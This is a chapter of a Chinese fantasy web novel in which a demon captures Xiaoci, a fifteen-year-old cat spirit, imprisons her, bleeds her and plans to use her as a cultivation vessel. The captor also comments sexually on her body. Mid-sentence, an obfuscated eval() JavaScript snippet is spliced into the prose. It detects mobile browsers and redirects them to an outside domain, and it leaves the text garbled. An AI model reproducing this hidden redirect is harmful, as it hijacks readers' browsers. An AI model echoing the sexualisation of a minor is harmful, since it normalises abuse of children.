小慈被血螻掳回了老巢,一处水榭庭院。
这只妖住的竟然不是山洞巢穴之类的,临水,倒是有点蚊子的习性。
从半空下急速往下面坠落,小慈的心也跟着凉起来,“啊啊啊啊啊!”
吞了好几口气进肚子里,小慈难受极了。血螻瞄一眼它,嫌弃它惊吓的样子更丑了,獠牙潦草裸露,头顶的黑毛四处散落,短胖的身体跟个蜜蜂一样死死缠着它。
陡然一松,再用力一甩,小慈被抛下,重重摔到庭院里的晚香玉丛里。
尾椎骨好痛,小慈卷缩在被它砸出的凹洞里,奄奄一息。
黑色的眼瞳下面的眼睑处带有几点让人看不清的泪光。
四个婢女低眉谦恭地经过,对血螻的原形视若未睹,微微福了福身,齐声,“少主。”
小慈虚虚地望着它们,这血螻原来在人类这边已经混得有些名堂了,还有自己的府邸,看来来头不小。
“带草丛里的狸猫去玉兰苑里。”血螻低声吩咐。
婢子闻言接近小慈,只是看清以后,竟觉无法下手,这猫丑得吓人。
小慈用爪子凶恶拍开婢子的手,躲在草丛里抹了抹眼睛。
这大妖住的地方颇讲究,小慈瘸着腿,慢慢跟着一路走进来,绿荫繁多,被拉到一个圆拱白墙门,小慈不愿进去,被拖地踉跄几步,差点以头抢地。
走上三层木梯,小慈抬眼看到一个牌匾,玉兰苑,三个字它只认识玉字。
方一进门,大门就被关上了。
小慈使妖术不成,用力推门也不成,心灰意冷,颓然地靠坐在地上,看着陌生的环境,眼泪跟泄了洪一样,泊泊往下流。
—————————
那死蚊子妖在院子外面设了屏障,别人进得来,它出不去。
小慈打开窗户,看着窗外的花木发呆。
倏地,门开了,小慈看见一个身着暗红赤服的男子走进来,身形极高,小慈人形大概只到它的胸膛处。
冰冷赤红的眼瞳,饶是小慈也认出它是谁的化形。
小慈紧张地做低伏弱。
“你捉我回来干嘛啊?大妖哥哥。”
“我只是只野猫精而已。”
“野猫精。”他看着小慈,饶有深意地念。
“有长得这么丑的野猫吗?”
“怎么没有?”小慈讨好回道。
“你现在不就看到了吗?”
血螻唇角微勾,像看只没有任何威胁的丑老鼠一样轻蔑地望着小慈。
小慈心思敏锐,心里有些不甘,但不敢惹到血螻,伏着头像以前被欺负一样,小奴隶一样低头示弱。
“你捉我回来到底想干什么啊?大妖哥哥。”小慈又问,到底还是害怕这只大蚊子精。
血螻也不理睬它,望了一眼,便觉得难以直视,丑得要命,施了下法术,给它化人形,不准它化原形。
看着小慈脸上化不掉的黄绿胎记,哧地笑了一下,很明显的嘲讽语气,“花猫脸,化都化不开。”
小慈心里很不舒服,它最讨厌别人说它丑的。
尤其是脸。
但这次小慈不敢发作。
血螻望着小慈一副人类十三四岁的模样,矮矮的,但不算瘦,脸上和大腿上都看得出来肉感,右手捂着方才被摔痛的髋部,一脸顺服,装可怜楚楚地哀求它。
血螻拂拂袖离开了。
小慈疯狂去敲结界,施展妖力试试能不能逃出去。
果然,良久,小慈就算用完了以前不舍得用的妖力,依旧没有任何变化。顿时心灰意冷,惆怅地坐在门下。
小慈其实很怕死,心里很不安,手脚也发汗,冰冷黏腻。
小慈在这里住下来,出不去,屋里头的东西都被翻遍了,依旧找不到法子出去。小慈试过纵火,火还没燃起就灭了。
到后来小慈就放弃了。
坐在床榻上,静静地望了窗外很久。
饭食是一位老媪送来的。
是个鼠妇精,打眼一看跟个灰扑扑的雀儿一样。
鼠妇婆年纪很老了,头发花白,背驼,反应迟钝,小慈和她说话,它有时忘了回答小慈,大部分时候,思考了很久才慢吞吞地说些小慈听不懂的方言。
背弯得似个骆驼,小慈都不知道是它天生就是这样,还是因为年老。
数日过去,血螻似乎是忘了小慈一般,从未来找过小慈。
小慈还想再求求它,万一还有一线生机。
“阿婆,我想见它。”
“你能帮我叫它过来吗?”
小慈最后还是等不及了。
小慈不明白死蚊子干嘛抓它回来,但是直觉不会是什么好事,莫非它知道自己是类,而且还知道类有什么用处?
要留着它慢慢吸它的血。
这个倒还可以,只要不杀它就可以了,小慈退一步想,已经不幻想它会放了自己,毕竟它是一只杀人如麻的大妖。
一道低沉的声音传来。
“你找我?”
门外传来蚊子精的声音。
小慈顿时心有些慌,想见到它,但是又害怕它,怕它主动过来找它是为了杀它或者对它干一些不好的事。
门被风吹开,蚊子的发丝都被吹起来,身形高大得小慈害怕。
小慈有些微微愣住,揪紧了手心。
“找我何事?”血螻冷道。
“大妖哥哥,你到底捉我来干嘛?”小慈怯怯问。
“我就是一只普通的野猫精。”小慈反复强调。
“哼。野猫精。”
“野猫血有你这么香的吗?类妖。”
它果然认出了自己是类而不是野猫。
“类又如何?”小慈心心翼翼地问。
“想知道?”
“小慈轻轻点点头。
不知道,要是不知道它为何抓自己回来,小慈可能连最后怎么死的都不知道。
“类,南山异兽,其状如狸而有髦,自为牝牡,血带芳香,对修炼大有裨益。”
“怎么?”
“你不知道?”
小慈连字都不认识多少个,族亲又都死了,自然不知道,只知道它们一族的血液是有些不同的,才惹得那些恶心的人类追逐灭族。
小慈讷讷地摇摇头。
“所以你不会杀我?”
“也不会吸我的血?而是……”
“拿我来修炼?”
“怎么修炼的?”
血,血螻嗜血,如此香的血怎能不喝,得喝一辈子。
血要吸,其他也都要,毕竟类可不好遇到了。
只不过,血螻拧着眉望着小慈化人形后依旧泛泛平庸的长相,粗糙暗沉地犹如深山里的野人一般,个子也只到它的一半多一些,最多六尺。
又矮又胖,还长得丑。
血螻对它暂时还下不去手。不禁想到类一族长相奇丑或许就是特意变丑,即便化形以后也化不去脸上的黄棕胎记,身材矮小,以此躲避有心之徒的不轨。
“你年岁几许?”血螻问它。
小慈警惕的望向他,随后想到告诉它也无妨。
“十五。”
十五,血螻心道,原来已经及笄,只是看着小。
只是实在太丑,血螻看着它实在寡淡乏味,它对身下妖极挑,只爱艳丽姝色。也不知这类猫种类是天生发育地比较慢,还是因为没养好,瘦瘦小小,毫无看点。
“你在这里住下,和鼠妇婆一起在这里当差。”血螻思考一阵,方才下了决定,类如今是稀世罕见的异兽,万不能放,先养养再说。
要几年过去,还是一副毫无长进的模样,就捂着脸,也要要了它。
不过是用来修炼的器物。
“嗯?你带我回来就是为了当个仆吗?”小慈不解问。
当然不是,但血螻看着它的脸,有些嫌恶它长得邋遢,不打算告诉它残酷的真相。
先是仆妖、再是器皿。
小慈原以为它既然只是让自己当个仆,世间妖类这么多,这蚊子妖这么强,自然是想抓几个回来都可以,定然可以让它钻了空子离开。
血螻离开前就解了玉兰苑里的结界。
在它走后,小慈立马钻出那个原先出不来的圆拱门,看着苑外的紫薇,白蝶自由自在地在繁木处翼动。
活动范围大了,小慈兴致勃勃地到处乱窜,想要摸到下一个出口。等血螻和鼠妇婆都注意不到自己时,自己偷偷就溜了。
只是小慈在各个庭苑里都瞧了瞧,翻墙爬树看了好几处,才发觉这处真的大,它暂时还找不到最大的大门,也不知道这蚊子妖有没有布下结界。
小慈沿着一个方向,走到腿酸脚痛,才看到一面高得离谱的灰白高墙,旁边没有任何栽树,而高墙上满是尖叉。
小慈发出类猫的低鸣声,有些气愤地跺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505861|170474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跺脚。
该死的臭蚊子精,看它以后不直接烧了它这庭苑。
小慈用身上的小法术尝试点了一下火,发现这里是可以的。
心里纵火的痒意开始蔓延,小慈已经好久没放火了,手痒心更痒。
但小慈知道此刻放火,必然会失败,烧不大,且会被死蚊子妖发现,肯定会被打,小慈还摸不清它到底要对它干嘛。
直到数日后,有位丫鬟过来小慈这里,力度极大按住小慈挣扎的手,在小慈的腕子上切个不大不小的口子,底下一陶罐取血。
一日便罢,后来日日都来,甚至过分的,一日两回。
小慈唇白了好多。
看着每日流走的血,小慈先前觉得取血也未尝不可是自己太天真。如此流下去,它也会死的,成干尸而亡倒不如想办法逃出去。
小慈未曾一日放弃过逃出去的心思。
它本就是肆意妄为的山野精怪,在这里既没有人给它欺负,也没流动的溪流给它嬉水玩耍,本性在这里被压抑着。
小慈看着这比自己山洞大得多,也要讲究得多的宅苑。雕梁画栋,窗几明快,绿荫繁茂,摆得整整齐齐的盆植。
小慈却觉得不自在,它做梦都在想回到以前拖着几个大布兜高高兴兴回巢穴的日子,招猫逗狗,偷鸡摸鸭,上树摘果,偷萝卜偷苞米。
日子实在好不自在。
数日过去。
小慈坐不定,日日走下来,把不算大的玉兰苑全都绕了好几遍。观察了好几遍,爬过墙,钻过狗洞,挖过坑,下过池塘找出水口,通通不管用,无论那处,都有结界壁。
小慈把泛黄的白墙上攀岩的凌霄花都扒拉下来。这里有个破损的狭缝,因常年被这绿藤掩盖,或许也因为小慈住的玉兰苑其实十分偏僻,压根无妖过问过。
小慈用从鼠妇那得来的锄头,对准那个狭缝一顿砸,墙面兴许被藤腐蚀,灰尘大面积地脱落,很快破成一个洞。
小慈想也不想,头跟蛮牛似的往里钻。
探头一望。
似乎没有那处一碰就泛浅光的结界壁。
小慈窃喜,后肢不断往前推,类的臀部也似狸猫一样,上窄下宽,小慈化形后的身体也不例外,臀部和大腿都要较常人要胖一些,平时穿着松松垮垮的衣衫看不出来,但现在石壁死死卡着小慈的髋骨两侧。
过了约莫一炷香,小慈尽力使出蛮劲,脸上憋得发青,丝丝挪动,直到下面大腿都被卡住,无法挪动,髋骨处一片片划伤似的拉扯痛。
估计已经磨出血了。
小慈欲哭无泪,久久无法动弹。
“有没有妖啊?”小慈哭嚎出声。
“救救我!”
“我动不了了!”
“唔——-”小慈闷哭出声,也不知道什么时候会被发现。
哭起来青红交织的类猫脸缩在交叠的手臂上,腰部往下都悬在墙上,因为腰腹酸痛,上半身痛苦地压在沙地上。
“你倒是一天都安分不下来。”不知何时,身后传来一道低沉的声音。
大腿上被人踹了一脚,接着血螻不怀好意的声音响起。
“想跑?”
小慈却无暇在意。
也不在意什么骨气不骨气的,吸着鼻子,低声下气地求它。
“大妖哥哥,救救我,求求你了。”
屁股也被踹了一脚。
“啊!!!你干嘛!你!”小慈大声怒吼。
“挺圆的吗?”
“圆你妹!”小慈怒气冲冲。
被当蹴鞠一样踢不是什么好感觉,小慈自尊心强,不光讨厌旁的说它丑,也不喜欢谁拿它的身体部位作任何不好听的评价。
何况死鬼大妖嘴里满满的恶意。
死鬼蚊子,看它以后不抽烂它的屁股,再把它的老巢都给烧了,腌臢,恶心,屎盆子玩意。
“怎么不说话了?”血螻好以整闲地望着气地双腿不断扑腾的类猫。
“不求我可就走了。”
小慈脸色涨红,神情难得有些茫然的委屈。红润的手心上,印满了小小粒的沙砾印,手肘撑得发痛,脑门和头发都湿润。
被擦破的胯边也好痛,动也动不了,卡墙缝里怎么出来这样的法术它又没有学过。
“救我!!!”
“求求你了!!!”小慈嘶吼的声音透过墙壁传到血螻的耳中。
血螻唇角微勾。